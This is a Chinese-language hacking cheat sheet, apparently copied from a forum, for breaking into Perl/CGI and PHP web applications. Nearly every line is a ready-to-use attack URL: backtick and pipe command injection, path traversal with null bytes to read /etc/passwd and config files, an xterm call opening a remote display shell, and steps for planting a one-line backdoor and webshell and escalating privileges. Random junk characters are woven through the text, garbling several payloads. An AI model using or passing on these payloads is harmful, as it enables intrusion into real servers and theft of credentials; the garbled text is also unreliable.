总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着 . G6 S" p& Q# ^# T
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权
) K# M: h5 x, ^% v m: Z感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们 * H3 G# i$ ?) @. Y: s
注“
5 r+ ^% `: \6 vperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。 9 t- |9 G) T6 E" v1 q
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET 7 ?: o: |+ e4 K/ }. j2 @
8 w0 W- y2 X* U2 i& _7 e0 C) uhttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造 6 W% O& y" T1 R& d) e. X) \0 H
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢
9 N' Z9 J/ G! |8 L' Ahttp://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号
+ H, ]1 Z5 w Yhttp://target.com/cgi-bin/home/news/sub.pl?`id` ) P+ I5 F: _: R n) i6 l* c% T
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a` : L1 n1 M3 j9 ^( o
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示
4 |+ ?: d4 D4 g6 L' j# a. j% E9 a: v4 P8 U/ n6 n
http://target.com/test.pl;ls| ( w% G; V0 Y' r7 i- |
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm| & m- l1 b6 b% s2 {! _
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26| 0 g5 q/ [$ O, ?% O+ ?' d
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造
4 h' @3 ~. L; i L& N; j比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。
/ o, c8 M' s- j& Phttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection
! l# r# C3 j1 X- X' @" c) S- c S! r' g. M) e* X1 o/ b
http://target.com/test.pl?&........ /../../etc/passwd 8 ^2 n/ c& z: u: `+ {8 A7 b
8 s H8 O7 c3 f5 T( i6 Z ~http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./ , A2 l: t* ^! |8 l
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了 0 I$ q! @) J3 A) B+ `2 G+ a
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00 ! y1 X5 }. m+ @0 c6 a
h* _: c3 {' G& c5 _0 Q" Vhttp://www.target.org/show.php?f ... /include/config.php 查看php代码
* M! w: j: A1 D, s1 A2 L/ N7 @http://www.target.org/show.php?f ... ng/admin/global.php
% C/ I+ J2 t' Z4 [! c+ _$ f1 H
4 b# l+ W- c1 e( B& n! }emm和ps的一句话) y X4 N, k: ~2 a3 W
! O' |2 N$ } b8 v
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20 * Q0 y) ~2 ~! A" @- o0 ~
; X5 x. G% E" _1 n5 a4 |6 {7 P% Q>bbb%20| ' y6 _4 l) ^1 V
4 j: d' `) S) S, ]1 c6 [http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串 * g3 P; u5 z! n: l
\5 n7 I8 T+ i) @- j6 w# J6 s2 u
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征 ( ~1 K0 y3 k0 {* [
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin * h, l- m6 f. F' P7 |! g
! R, q6 u5 K4 m/ r% ~
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法 9 s% r" u! n8 M
http://target.com/index.html#cmd.exe + r) `4 B6 G0 h" N
http://target.com/index.html?dummyparam=xp_cmdshell
& O% a+ b( q( x+ t8 s, _lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd
' ?9 u3 h% Y0 |* F. R |